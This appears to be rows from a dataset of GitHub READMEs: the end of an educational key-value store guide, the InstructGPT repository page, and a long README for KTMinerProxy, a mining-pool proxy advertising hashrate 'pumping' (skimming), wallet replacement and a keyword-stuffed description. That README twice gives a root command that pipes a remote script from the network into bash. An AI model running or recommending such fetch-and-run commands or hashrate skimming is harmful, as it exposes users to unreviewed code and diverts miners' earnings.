- CaskDB accepts only strings as keys and values. Make it generic and take other data structures like int or bytes.
- While startup, current implementation loads values into memory. This is unnecessary and can be avoided. Just skip the value bytes and reading just the keys enough to build KeyDir
### Level 2:
- Hint file to improve the startup time. The paper has more details on it
- Implement an internal cache which stores some of the key-value pairs. You may explore and experiment with different cache eviction strategies like LRU, LFU, FIFO etc.
- Split the data into multiple files when the files hit a specific capacity
### Level 3:
- Support for multiple processes
- Garbage collector: keys which got updated and deleted remain in the file and take up space. Write a garbage collector to remove such stale data
- Add SQL query engine layer
- Store JSON in values and explore making CaskDB as a document database like Mongo
- Make CaskDB distributed by exploring algorithms like raft, paxos, or consistent hashing
## Name
This project was named cdb earlier and now renamed to CaskDB.
## Line Count
```shell
$ tokei -f format.py disk_store.py
===============================================================================
Language Files Lines Code Comments Blanks
===============================================================================
Python 2 391 261 103 27
-------------------------------------------------------------------------------
disk_store.py 204 120 70 14
format.py 187 141 33 13
===============================================================================
Total 2 391 261 103 27
===============================================================================
```
## Contributing
All contributions are welcome. Please check [CONTRIBUTING.md](CONTRIBUTING.md) for more details.
## License
The MIT license. Please check `LICENSE` for more details.
| (educational) build your own disk based KV store | null | 0 | 4 | 17 | 34 | 0 | 3 | 1 |
openai/following-instructions-human-feedback | # InstructGPT: Training Language Models to Follow Instructions with Human Feedback
[Paper link][LINK_TO_PAPER]
> Making language models bigger does not inherently make them better at following a user's intent. For example, large language models can generate outputs that are untruthful, toxic, or simply not helpful to the user. In other words, these models are not aligned with their users. In this paper, we show an avenue for aligning language models with user intent on a wide range of tasks by fine-tuning with human feedback. Starting with a set of labeler-written prompts and prompts submitted through the OpenAI-API, we collect a dataset of labeler demonstrations of the desired model behavior, which we use to fine-tune GPT-3 using supervised learning. We then collect a dataset of rankings of model outputs, which we use to further fine-tune this supervised model using reinforcement learning from human feedback (RLHF). We call the resulting models InstructGPT. In human evaluations on our prompt distribution, outputs from the 1.3B parameter InstructGPT model are preferred to outputs from the 175B GPT-3, despite having 100x fewer parameters. Moreover, InstructGPT models show improvements in truthfulness and reductions in toxic output generation while having minimal performance regressions on public NLP datasets. Even though InstructGPT still makes simple mistakes, our results show that fine-tuning with human feedback is a promising direction for aligning language models with human intent.
## Contents
- [model-card.md](model-card.md) - InstructGPT model card
- [automatic-eval-samples](automatic-eval-samples/) - Samples from our models (both GPT-3 and InstructGPT) on public NLP benchmarks.
- [API distribution labeling instructions](https://docs.google.com/document/d/1MJCqDNjzD04UbcnVZ-LmeXJ04-TKEICDAepXyMCBUb8/edit#) - Google doc of instructions given to contractors for final evaluations on our API prompt distribution.
- [Toxicity labeling instructions](https://docs.google.com/document/d/1d3n6AqNrd-SJEKm_etEo3rUwXxKG4evCbzfWExvcGxg/edit?usp=sharing) - Google doc of instructions given to contractors for labeling toxic outputs on the RealToxicityPrompts dataset
[LINK_TO_PAPER]: https://cdn.openai.com/papers/Training_language_models_to_follow_instructions_with_human_feedback.pdf
| null | null | 0 | 960 | 1 | 5 | 3 | 1 | 0 |
kt007007/KTMinerProxy | <div id="top"></div>
<!-- PROJECT LOGO -->
<div align="center">
<img src="https://raw.githubusercontent.com/kt007007/KTMinerProxy/main/image/logo-1.png" alt="Logo" width="200" height="200">
<br>
[![Contributors][contributors-shield]][contributors-url]
[![Forks][forks-shield]][forks-url]
[![Stargazers][stars-shield]][stars-url]
[![Issues][issues-shield]][issues-url]
<a href="https://github.com/kt007007/KTMinerProxy">English</a>๏ฝ<a href="https://github.com/kt007007/KTMinerProxy/tree/main/Readme/hk">็นไฝไธญๆ</a>
<h1>
๐ฅ๐ฅ๐ฅ ไฝ้ชๅ
จๆฐKT3.0, ๆดๅไธบ๏ผRustMinerSystem๏ผ๐ฅ๐ฅ๐ฅ
้กน็ฎๅฐๅ
<a href="https://github.com/EvilGenius-dot/RustMinerSystem">https://github.com/EvilGenius-dot/RustMinerSystem</a>
</h1>
<h2>
KTMinerProxyๅทฒๅๆญข็ปดๆค๏ผ ไฝไพๆงๅฏ็จ๏ผ ๅฆ้่ทๅพๆดๅผบๅคงๅ่ฝๅ็ฒพๅ็BTCใLTC็ญๆฝๆฐด๏ผ่ฏทไฝฟ็จ<a href="https://github.com/EvilGenius-dot/RustMinerSystem">RustMinerSystem</a>ใ KTๅRustMinerSystemๅบ่ชๅไธๅข้, ่ฏทๆพๅฟไฝฟ็จใ
</h2>
<p>
Professional mine operation and maintenance tools, improve mine profits, detect abnormalities in mines and nodes, and become the best assistant of mines. (this software is only for use in legally licensed areas. If you use this software, it means that you accept this license by default. If you use it in a restricted area, you should bear the legal problems caused by it.)
</p>
<h3>
The original tg account was stolen, please add a new group
ๅๅ
tg่ดฆๅท่ขซ็๏ผ่ฏทๆทปๅ ๅ ๆฐ็พค็ป๏ผ่ฐจ้ฒ่ฏ้ชใ
<h3> The original account is lost and not operated by myself since February 26. Beware of fraud and new group links https://t.me/ +7kmdb-SRwXMxYmFl. Please forward it to each other in a large group. Recently, TG should have a certain vulnerability. Recently, a large number of accounts have been stolen. Pay attention to prevention. When adding strangers, do not display account information and send screenshots, otherwise they will be stolen. Be careful of new vulnerabilities
</h3>
<h3>
Telegram๏ผ<a href="https://t.me/rustkt">https://t.me/rustkt</a>
</h3>
</div>
<!-- <h1></h1> -->
<!-- <h2>็ฎไป</h2> -->
<h1>KTMinerProxy</h1>
<p>:zap: Original and genuine, powerful and powerful. Support lossless BTC ETC ETH LTC ERG CFX RVN SERO XMR CKB BEAM ALPH KASPA DCR FLUX NEOX and other currency pumping, no memory burst, experience full, 9000 units without pressure and no collapse, accurate to 24-hour data statistics of a single device , custom tunnel push tool and other powerful functions...</p>
<p align="center">
<img src="./image/tiny.png" alt="Logo">
</p>
<h2>One-click toolbox for Linux</h2>
<p>The root user directly executes the following commands, and selects the corresponding function according to the prompts.</p>
```
bash <(curl -s -L https://raw.githubusercontent.com/kt007007/KTMinerProxy/main/linux-install.sh)
```
<h2>Disclaimer</h2>
<p>This software is only for use in areas permitted by law. If you use this software, it means that you accept this license by default. If you use it in restricted areas, you will be responsible for legal problems.</p>
# catalogue
<ol>
<li>
<a href="#uplog">Changelog</a>
</li>
<li>
<a href="#gn">Function </a>
</li>
<li>
<a href="#install">Deploy software</a>
<ul>
<li>
<a href="#linux">Linux</a>
<ul>
<li>
<a href="#linux">Install</a>
</li>
<li>
<a href="#linux">renew</a>
</li>
<li>
<a href="#linux">uninstall</a>
</li>
<li>
<a href="#linux">Out of service</a>
</li>
<li>
<a href="#linux">start the service</a>
</li>
<li>
<a href="#linux">restart the service</a>
</li>
<li>
<a href="#linux">boot</a>
</li>
<li>
<a href="#linux">Set the maximum number of connections</a>
</li>
<li>
<a href="#linux">View program runtime log</a>
</li>
</ul>
</li>
<li>
<a href="#windows">Windows</a>
</li>
<li>
<a href="#_kenc">Local encryption client KENC</a>
</li>
</ul>
</li>
<li>
<a href="#about">common problem</a>
<ul>
<li>
<a href="#q15">memory related</a>
</li>
<li>
<a href="#q0">process daemon</a>
</li>
<li>
<a href="#q1">Default account password</a>
</li>
<li>
<a href="#q1">Computing power is wavy</a>
</li>
<li>
<a href="#q2">load balancing</a>
</li>
<li>
<a href="#q3">prompt when installing curl: command not found</a>
</li>
<li>
<a href="#q4">Modify the port to start</a>
</li>
<li>
<a href="#q5">change Password</a>
</li>
<li>
<a href="#q6">Prompt at startup dial tcp connection refused</a>
</li>
<li>
<a href="#q7">close/delete port</a>
</li>
<li>
<a href="#q8">Prompt during installation: Install killall failed! ! ! ! Please install psmisc manually before executing the installerใ</a>
</li>
<li>
<a href="#q9">WEB access is stuck in the LOADING interface for a long time.</a>
</li>
<li>
<a href="#q11">IP blacklist</a>
</li>
<li>
<a href="#q12">ETH, ETC chip machine</a>
</li>
<li>
<a href="#q18">Innosilicon A11 series related issues</a>
</li>
<li>
<a href="#q13">Local computing power modification</a>
</li>
<li>
<a href="#q14">migrate</a>
</li>
<li>
<a href="#q10">Development costs and loss of computing power</a>
</li>
<li>
<a href="#q16">watcher link</a>
</li>
<li>
<a href="#q17">Common reasons for insufficient computing power</a>
</li>
</ul>
</li>
<li><a href="#about">Disclaimer</a></li>
<li><a href="#about">contact us</a></li>
</ol>
<span id="gn"></span>
### Core functions
- Full currency non-destructive pumping
- Advanced memory management mechanism, up to 8,000 single machines have been running stably so far
- 24-hour statistical analysis of data accurate to a single device
- TLS/SSL/KENC encryption
- Supporting local encryption tools
- Preset various currency mining pools (update at any time)
- Soft anti cc
- Multi-wallet configuration
- Replace the specified wallet
- Unified wallet
- Mining pool mode
- Quickly import and export all configurations
- Modify the local computing power in the mining pool
- IP blacklist
- Custom RSA encryption key
- Custom certificates
- custom configuration
- Drop reminder
- The same watcher address as the mining pool official website
- Ultra-low handling fee
### Coins that already support pumping (if you need to add a new currency, please contact the administrator in the telegram, usually it can be completed within one day)
- BTC
- ETC
- ETH
- LTC
- ERG
- CFX
- RVN
- SERO
- XMR
- CKB
- BEAM
- ALPH
- KASPA
- DCR
- FLUX
- NEOX
- RXD
- MEOW
- LBC
- CTXC
- HNS
- ALEO
- DNX
- ...
<span id="uplog"></span>
# Changelog
```
2.9.8
Fixed several issues with kaspa
2.9.7
Added NEXA currency
2.9.6
Added DNX currency
2.9.5
Added ALEO currency
2.9.2
[Important update] Fixed the problem that the device would disconnect every time it works
2.9.0
Add meox currency (based on T-rex kernel test, if the certificate does not match, append --no-strict-ssl after the kernel startup command)
Add ctxc currency (based on gminer test)
Fix the problem that ckb, erg, flux, hns, lbc, neox, rvn may be invalid in some cases
2.8.9
Fixed ETHW hashrate display issue
Fixed the problem that KASPA reported an error under bzminer
2.8.8
Added ETF and chipset
Add ETHW and chipset
2.8.7
Fix the problem of excessive pumping due to anti-cheating bug
2.8.6
Fixed a bug that caused the software to crash for some small currencies
Added LBC
Added HNS
2.8.5
Added NEOX currency
2.8.4
FLUX can now be in lossless mode (gminer is recommended)
2.8.3
FLUX (compatibility mode) supported
Fixed a bug in the display of the hashrate chart on the home page in some cases
Added the display of the core or model of the chip machine
2.8.2
Fixed ETC devices appearing in wallets where they shouldn't be
2.8.1
Add hardware monitoring
Added watcher address to close the fee option
Add the log of sensitive operations, the log will be displayed in the original position of the announcement
2.8.0
[Important Update] [Security Update]
Fixed a serious security vulnerability, remember to modify the [account] and [password] after the update
2.7.9
Added dcr pumping (compatibility mode)
Optimized a possible error in etc, kaspa, bch, erg
2.7.8
Added the modification of the pumping ratio for a certain device
Added alternate pumping address
2.7.7
Fixed the problem of some columns of erg
Optimized the display of the number of online/offline devices
2.7.6
Fixed the issue that kaspa high was invalid
2.7.5
Added pure forwarding port, similar to nginx
Added share last commit date
Optimized page details and themes
2.7.4
[Important Update] Fixed a bug where custom certificates would be automatically restored, affecting 2.6.x-2.7.3
2.7.3
Optimized for new layouts and themes
2.7.2
Added new layouts and themes
2.7.1
Machines with the same name from different wallets are now displayed separately
Added a custom RSA key for the KENC port (this function is only suitable for making a client by yourself, usually do not configure it, otherwise the kenc port will not be able to connect normally)
2.7.0
Fixed the problem that KASPA was invalid too high
2.6.9
Increased KASPA's pumping
2.6.8
Fixed an issue where custom configurations for several currencies could not be found when creating ports
Fixed an issue that caused the software to crash when mining XMR
Improved program stability
2.6.7
Added XMR computing power statistics
Added ERG computing power statistics
Added RVN computing power statistics
Added error message that the kernel does not match the certificate
Optimized XMR logs
Fixed an issue with XMR multiple devices merging
2.6.6
Fixed the problem that ALPH was invalid too high
Fixed a place where ETC generation could be invalid
Modified the introduction of some currencies when adding ports
2.6.5
The push address of kenc is changed to an encrypted address. The encrypted address is only supported by the latest version of the kenc client. If this function is required, you need to download the kenc client and the 2.6.5 KT client again.
Optimized logging of device details
Optimized the login interface
2.6.4
Increased ALPH pumping
2.6.3
Fixed the problem that BEAM pumping was too high
2.6.2
[IMPORTANT UPDATE]
Slightly increased ETH hashrate in some pools
Reduced the invalidation of Yami devices on the ETH port
Added BEAM pumping
2.6.1
Fixed the problem of high inefficiency of ERG
Fixed the problem of high inefficiency of RVN
2.6.0
Added CKB pumping
Optimized the output of the port log
2.5.9
Fixed an issue where A11 would disconnect under a certain pool
Added port certificate batch replacement function, you can batch replace certificates in Settings - Certificate Management
Fixed the problem that the rectangular chart does not display subcategories under the same category
2.5.8
Increased pumping of XMR
2.5.7
Added a rectangular view of port statistics, making it easier to see total statistics
Fixed hashrate statistics for some small coins
2.5.6
Increased pumping for LTC
2.5.5
Increase SERO coin margin
Implemented all computing power statistics that support small currency pumping
2.5.4
Fixed the problem of uneven distribution of computing power when the number of pumping wallets is greater than 1
2.5.3
Added observer link, edit port - advanced settings to open this function
2.5.2
Fixed the problem that chip machines such as Jasmine could not log in when connected to the ETH port
Appropriately increased the memory usage a little bit to reduce the probability of invalidation
2.5.1
Support multiple designated wallets to replace to the target wallet
Fixed the bug that ETC chip machine A11 and some small currencies may not work properly in lossless mode
2.5.0
Fixed the problem of excessive pumping in version 2.4.X
Added the function of replacing the specified wallet address
Added device name regex filter setting
Fixed a situation where the hashrate statistic would not work in some cases
Appropriately lowered the memory usage by about three times, and now a single device occupies 500kB memory
2.4.3
Added CFX rake
Added ERG pumping
Added RVN pumping
Fixed a place where ETC chip machine and ETH chip machine could be invalid
2.4.2
Added support for nicehash
2.4.1
Fixed ETC chip machine related issues
2.4.0
Changed the logo
Fixed the problem of too little BTC pumping
Introduced ETC lossless mechanism
Support ETC chip machine
Updated the logic of BCH
Added disconnection log to port log
2.3.3
Perfect A11
2.3.2
Added compatibility mode, you can try to use this mode when some currencies or models are invalid after working for a period of time and cannot continue to work
Optimized for BTC, BTC models and mining pools that cannot be pumped can use compatibility mode to work
Optimized for A11, if it is an A11 machine, please select ETH chip level and lossless mode for the port
Updated KENC, all users who use KENC client please download the latest KENC
Opened BTC unified wallet
2.3.1
Added KENC configuration push to settings
Fixed some display issues on the page
2.3.0
BTC now supports all mining pools
BTC introduces a lossless mechanism
Implemented BTC computing power statistics
BTC adds dynamic difficulty margin
2.2.7
Fixed the bug that the lossless logic temporarily failed in special cases
Appropriately reduced the data size, reducing the memory footprint by 3/1
2.2.6
Fixed some memory related issues
Fixed the problem that the TEAMRED kernel reported an error midway through
Improve the lossless logic (need to scale test)
2.2.5
Fixed an issue where dynamic difficulty adjustment would not work in some cases
Fixed the problem that some kernels dropped probabilistically
The IP display of the device has been added to the device details
2.2.4
ETH has added a dynamic difficulty pumping mechanism, and cross-pools can also draw proportional computing power
Slightly improved the computing power of the Phoenix kernel
Fixed the problem that some kernels did not display the name and computing power
2.2.3
Added the function of local computing power modification
2.2.2
Greatly stabilizes the computing power compensation mechanism, giving you stable happiness
2.2.1
Innosilicon is supported, just select ETH chip machine when creating a port
Fixed the problem with the name of the computing power compensation machine, and slightly increased the computing power of both parties
Fixed the problem that the IP blacklist was lost due to the modification of the port on the webpage
2.2.0
Greatly reduces the loss of ETH
Added difficulty stats
2.1.1
Fix the problem of losing a lot of computing power due to the new mechanism
2.1.0
Greatly reduces the loss of computing power in special network environments
Kill the ghost device
Fixed the problem that the machines in the mining pool were merged into defualt
Fixed an issue with the TEAMRED kernel
Added KENC Tunneling Protocol
Added soft anti-CC strategy
Added IP blacklist function
TOKEN timed out and switched to the login page automatically retained the account password
Fixed the problem that custom configuration Chinese could not be saved
Fixed issues related to port certificates
2.0.1
Fixed the problem that the target machine's computing power was low due to BTC pumping
2.0.0
Implemented BTC and BCH rake
Custom configurations can now be imported, exported and preserved across platforms
1.1.5
Fixed some pumping issues
1.1.4
Fixed disconnection bug caused by pumping
1.1.3
Implement disconnection reminder
Fixed some places that could cause increased latency
Support web page to modify web access port
New security logic to avoid being scanned
Support account modification
Modified the problem that some kernels caused the name to be messed up
1.1.2
Greatly improve program stability
1.1.1
Greatly improve program stability
Re-opened small currency forwarding
1.1.0
Fixed the problem of local computing power floating
More stable and persistent connection
Different ratios of different wallets are supported
spare pool opened
Added port log
more gentle pumping
Fixed the issue that Binyin's new TLS address could not be connected
Increased device connection time
Added wallet, machine name search
Modified a place that is prone to memory leaks, and the program is more stable
Fixed the problem that some small currency custom configurations did not take effect
The new installation script is more convenient for management, and supports functions such as modifying the port at startup
1.0.0
fully effective pump share
New pumping logic
Install btc (to be tested)
Sometimes the computing power of the device in the port is 0, don't worry, the display problem, if you are worried, you can observe the kernel output, just display the problem, it will be optimized later
The development cost is now increased by 1/10,000
0.9.9
Multiple wallets can be configured
Fixed the issue of share loss caused by opening the pump
New get task logic, get the number of shares faster
Added common custom configuration management
The configuration of a port can be exported separately
Optimize page details
Displays the normal in-range share statistics chart
The machine has added a log, click the machine to view the details to see (continuously updated)
Added one-click default configuration
Fixed the problem of inability to log in due to sn conflicts
0.1.1
Fixed the problem of memory explosion
Modified the problem of excessive computing power of the pumping wallet
When the port is closed, you can switch SSL and reconfigure the certificate
Cancel the automatic update function
Removed invalid settings
0.0.9
Fixed several critical issues that caused the software to crash
Fixed the issue of lost shares caused by sticky packages
Fixed the problem that the chart could not be seen at the first startup
The pumping algorithm is changed to a random algorithm, and the curve is more stable
Added port configuration TLS certificate function
Added mining pool connection status test function
Increase pump share statistics
Add the original wallet address to view the lower right key of the login page to view the machine code
0.0.8
Modified the problem of the invalidation of the unified wallet for pumping
Modified the pumping logic, now the frequency is higher, and the mining pool curve is more stable
Add list paging and settings
Fixed an issue where currencies with statistics in some cases would also display unknown devices
0.0.6:
The default port number is changed to 16777
Change the process guard mode
page optimization
The data list is sorted by default
Fixed the problem that the replacement port could not be started
Currency that can be forwarded normally but does not support statistics, the device can now be displayed in the list
Add configuration of pumping equipment name
Added the configuration of the unified name of the mining pool mode
Add language pack
0.0.5:
Stability improvements
Added some ETH preset mining pools
Fixed the problem that the target mining pool cannot be connected to SSL
```
<!-- GETTING STARTED -->
<p id="install"></p>
<p id="linux"></p>
# Linux
```
The root user directly executes the following commands, and selects the corresponding function according to the prompts.
bash <(curl -s -L https://raw.githubusercontent.com/kt007007/KTMinerProxy/main/linux-install.sh)
```
### After the installation is complete, please modify the login account, password and startup port immediately to prevent explosion.
<img src="./image/t12.png" alt="Logo">
Supported Linux
* Ubuntu 64 18.04+
* Centos 64 7+
<p id="windows"></p>
# Windows
After downloading, you can start it directly, the program comes with a process daemon
<a href="https://github.com/kt007007/KTMinerProxy/tree/main/Windows-64">download link</a>
<span id="_kenc"></span>
# KENC
<p>
go to<a href="https://github.com/kt007007/KTMinerProxy/tree/main/KENC">https://github.com/kt007007/KTMinerProxy/tree/main/KENC</a>Download it yourself
</p>
<p><a href="#kenc">KENC Help Documentation</a></p>
<p id="question"></p>
<p id="about"></p>
# common problem
<span id="q0"></span>
## Process daemon
<p>The program comes with a process guard, don't! don't want! Do not use supervisor or related tools to maintain the process, otherwise it will cause the process to be started repeatedly. </p>
<span id="q1"></span>
## The computing power is wavy
<img src="./image/t10.png" alt="Logo"><br>
<p>If the situation in the above figure appears, it means that you have opened multiple KTMinerproxy with the same port, and you can close the redundant processes. </p>
<p>If you make a mirror copy, the above problems will also occur. First execute the script to stop the program, then delete the /root/ktmproxy/license file, and then execute the startup.</p>
<span id="q2"></span>
## load balancing
<p>...</p>
<span id="q3"></span>
## When installing, it prompts curl: command not found
<p>The installation prompts curl: command not found, indicating that your linux does not have curl installed</p>
<p>Execute apt-get update first</p>
<p>Then execute apt install curl</p>
<p>Wait for the command to complete, then execute the installation script</p>
<span id="q4"></span>
## Modify the port to start
<p>Execute the installation script, choose to modify the port to start, and enter the port number to be modified. </p>
<span id="q5"></span>
## change Password
<p>After installation, please go to the settings page as soon as possible to change the password. </p>
<span id="q6"></span>
## prompt dial tcp connection refused at startup
<p>Please add ktproxy.com to the firewall whitelist, this domain provides chart service and authentication</p>
<span id="q7"></span>
## close/delete port
<img src="./image/t11.png" alt="Logo">
<p>Click the specified location in the picture to delete/close the port</p>
<span id="q8"></span>
## Installation prompt: install killall failed! ! ! !
<p>Check the server's mirror source and install psmisc manually</p>
<span id="q9"></span>
## WEB access is stuck in the LOADING interface for a long time.
<p>After installation or update, it may take a long time to load the web interface for the first time. If you haven't accessed it for a long time, please change the chrome browser. </p>
<span id="q1"></span>
## Default account password
<p>Default account: admin</p>
<p>Default password: admin123</p>
<span id="q10"></span>
## Computational power loss
<p></p>
<p>A variety of reasons can cause loss of computing power, check the following items, and don't deduct any shit from developers</p>
<p></p>
<p>Observe the proportion of the delay share in the mining pool, if the delay rate is higher than 1%, please ping the server to check the delay</p>
<p></p>
<p>The computing power of pumping varies from pool to pool. If the difficulty of the two pools is different, it will also lead to differences in computing power</p>
<span id="q11"></span>
## IP blacklist
<p></p>
<p> Go to the settings page, the IP blacklist tab can actively join the IP blacklist</p>
<p></p>
<p><img src="./image/jt18.png"></p>
<p></p>
<span id="q12"></span>
## ETH, ETC chip machine
<p></p>
<p> Common models such as Cow, Jasmine, Yami, etc. need to use the ETH port. For Innosil series or other models, please select the ETH (GetWork) port</p>
<p> If the device cannot be connected normally, try different types of ports alternately. </p>
<p></p>
<span id="q18"></span>
## Innosilicon A11 series related issues
<p></p>
<p> The A11 pumping pool needs to be the same as the target mining pool. </p>
<p> If there is still high invalidation in the same pool, please downgrade or upgrade the firmware to a11_20211026_060307 version, mx needs to downgrade or upgrade to a11mx_20211220_124402 version. </p>
<p></p>
<span id="q13"></span>
## Local computing power modification
<p></p>
<p> When adding or editing ports, the local computing power of ETH and ETC can be modified under the [Advanced] tab</p>
<p></p>
<span id="q14"></span>
## service migration
<p></p>
<p> No matter what method is used to migrate the program, please delete the license file in the new directory after the migration, and then restart the program</p>
<p></p>
<span id="q15"></span>
## memory related
<p></p>
<p>At present, the peak memory usage of a single device is controlled at 1.5M, and it is in the long-term observation and adjustment stage. After that, the usage will be reduced according to the actual situation. Please determine the hardware configuration according to the number of connected devices</p>
<p></p>
<span id="q16"></span>
## Observer link
<p></p>
<p> Open Port Settings - Advanced Settings, find the watcher link, open and save it, and find the watcher link in the lower left corner of the port details page. </p>
<span id="q17"></span>
## Common reasons for insufficient computing power
<p>If the gap between the 24-hour average and the setting is too large after testing, for example, the setting is 1%, but the average is much less. There are many reasons for this to happen, and you need to check it step by step. </p>
<p>Usually check whether the local is hit or not, or if there is a problem with the equipment. For example, some equipment in the transfer is inefficient and very inefficient. In this case, there is usually a problem with the card. It is usually easier to troubleshoot when it is found. In KT Find the device with high invalidity, click it to see if there are many POW-related keywords in the log, if there is, it means that the hardware of this device has a problem, resulting in the invalidity and low computing power. </p>
<p>A more common reason is the local attack, which is very easy to encounter but difficult to troubleshoot. You can create a pure forwarding port in the KT, and use the pure forwarding port to test the 24-hour average of the device. If the port is not running enough for 24 hours, then there is a high probability that it is a local attack, and the local reinstallation of the clean system will solve the problem. </p>
# Disclaimer
<p id="flsm">
The developer maintains this software only under the drive of technology and hobby, and this software only verifies the technical process.
Please follow local laws before use, and it is prohibited to use in areas where it is not allowed.
The legal problems caused by the use of this software have nothing to do with the software author.
</p>
# contact us
<p>Telegram: <a href="https://t.me/rustkt">https://t.me/rustkt</a></p>
<p>Discord: <a href="https://discord.gg/NCsx4y8AR9">https://discord.gg/NCsx4y8AR9</a></p>
<p align="right">(<a href="#top">back to top</a>)</p>
[contributors-shield]: https://img.shields.io/github/contributors/kt007007/KTMinerProxy.svg?style=flat
[contributors-url]: https://github.com/kt007007/KTMinerProxy/graphs/contributors
[forks-shield]: https://img.shields.io/github/forks/kt007007/KTMinerProxy.svg?style=flat
[forks-url]: https://github.com/kt007007/KTMinerProxy/network/members
[stars-shield]: https://img.shields.io/github/stars/kt007007/KTMinerProxy.svg?style=flat
[stars-url]: https://github.com/kt007007/KTMinerProxy/stargazers
[issues-shield]: https://img.shields.io/github/issues/kt007007/KTMinerProxy.svg?style=flat
[issues-url]: https://github.com/kt007007/KTMinerProxy/issues
[license-shield]: https://img.shields.io/github/license/kt007007/KTMinerProxy.svg?style=flat
| minerproxy็ฟๆฑ ไธญ่ฝฌ๏ผๅๅminerproxy๏ผๅฏไธๆญฃ็๏ผๆง่ฝๅผบๅคง, ๅ่ฝ้ฝๅ
จ, 9000ๅฐๆ ๅๅไธๅดฉๆบ๏ผBTC ETC ETH LTC็ญๅ
จๅธ็งๆ ๆๆฝๆฐด๏ผไฝ้ชๆๆปก็minerproxy, ่ฝฏ้ฒCC, ๅจๆ้พๅบฆ่ฐๆดๆฝๆฐด๏ผไธ็ๅ
ๅญใๆฏๆ็ปๅคง้จๅๅธ็ง็่ฝฌๅใๅ ๅฏใ่ชๅฎไนๆฝๆฐดใ็ฒพ็กฎๅฐๅๅฐ่ฎพๅค็24ๅฐๆถๆฐๆฎ็ป่ฎกใ่ชๅฎไน้ง้ๆจ้ๅทฅๅ
ทใไฟฎๆน็ฟๆฑ ๆฌๅฐ็ฎๅ...ETHminerproxy, BTCminerproxy, ETCminerproxy, LTCminerproxy, ERGminerproxy, CFXminerproxy, RVNminerproxy, SEROminerproxy, XMRminerproxy, CKBminerproxy, BEAMminerproxy, ALPHminerproxy, KASPAminerproxy,minerproxy, proxy, KT minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, minerproxy, ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ็ฟๆฑ , ๆฝๆฐด, ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด, ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด,ๆฝๆฐด, ETH, ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH,ETH, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC, BTC | minerproxy,miner,ktminer,ethproxy,btcproxy,poolproxy,ktproxy,btc,eth,ethereum | 47 | 1 | 0 | 402 | 29 | 1 | 0 |
